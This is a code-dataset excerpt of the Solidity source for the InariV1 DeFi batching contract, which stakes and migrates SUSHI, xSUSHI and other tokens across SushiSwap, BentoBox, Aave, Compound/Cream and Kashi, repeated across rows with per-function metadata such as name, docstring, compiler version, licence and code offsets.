uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | zapToMasterChef | function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
| /// @notice Liquidity zap into CHEF. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
2587,
3428
]
} | 11,775 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | assetToKashi | function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
| /************
KASHI HELPERS
************/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
3493,
3879
]
} | 11,776 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
